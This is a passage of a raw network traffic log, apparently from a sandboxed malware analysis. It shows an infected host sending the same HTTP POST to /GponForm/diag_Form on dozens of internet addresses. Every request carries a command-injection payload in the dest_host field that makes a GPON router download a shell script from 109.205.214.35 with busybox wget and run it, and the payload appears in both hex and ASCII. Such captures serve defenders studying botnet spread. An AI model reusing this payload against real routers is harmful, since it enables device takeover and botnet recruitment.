Mar 21, 2024 05:22:01.100860119 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
230	192.168.2.14	59520	210.208.13.61	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:01.100905895 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
231	192.168.2.14	55116	109.106.178.110	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:01.100934982 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
232	192.168.2.14	46338	79.14.180.112	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:01.100981951 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
233	192.168.2.14	43778	109.177.162.14	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:01.101022005 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
234	192.168.2.14	46900	94.105.39.87	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:01.101027012 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
235	192.168.2.14	49954	212.249.181.152	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:01.101068974 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
236	192.168.2.14	47722	109.81.83.19	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:01.101125956 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
237	192.168.2.14	45608	212.43.38.209	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:01.101126909 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
238	192.168.2.14	37796	109.202.150.51	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:01.101161003 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
239	192.168.2.14	50538	2.37.136.70	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:01.101174116 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
240	192.168.2.14	58420	178.250.137.24	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:01.101186037 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
241	192.168.2.14	53340	212.123.189.42	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:01.101207018 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
242	192.168.2.14	41886	5.164.161.185	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:01.101290941 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
243	192.168.2.14	58768	212.38.132.201	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:01.101298094 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
244	192.168.2.14	44662	178.146.150.238	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:01.101321936 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
245	192.168.2.14	45462	118.40.186.118	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:01.101346970 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
246	192.168.2.14	46778	109.21.22.196	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:01.101363897 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
247	192.168.2.14	58902	2.125.239.82	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:01.101389885 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
248	192.168.2.14	60364	37.44.210.209	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:01.101425886 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
249	192.168.2.14	52872	94.61.147.220	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:01.101470947 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
250	192.168.2.14	32836	79.70.226.91	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:01.101481915 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
251	192.168.2.14	55642	109.247.187.0	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:01.101516008 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
252	192.168.2.14	38252	79.90.7.103	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:01.101543903 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
253	192.168.2.14	45930	5.103.208.247	443

Timestamp	Bytes transferred	Direction	Data
